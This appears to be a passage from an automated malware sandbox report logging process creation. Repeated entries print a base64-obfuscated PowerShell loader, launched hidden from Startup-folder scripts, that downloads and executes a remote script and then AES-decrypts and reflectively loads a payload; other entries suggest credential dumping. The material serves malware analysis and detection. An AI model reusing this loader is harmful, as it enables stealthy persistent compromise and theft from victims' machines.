eGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_c48efb24.cmd" "
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_c48efb24.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_97fe2fc3.cmd" "
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_97fe2fc3.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\Desktop\As7KZaO9Dy.bat" Jump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\xiwpgftnewcebsxtokyugqisw"Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\kwpaipoiommoomhbogxpuhysgmfpeisd"Jump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_eb7db44d.cmd" Jump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_aac21fe5.cmd" Jump to behavior
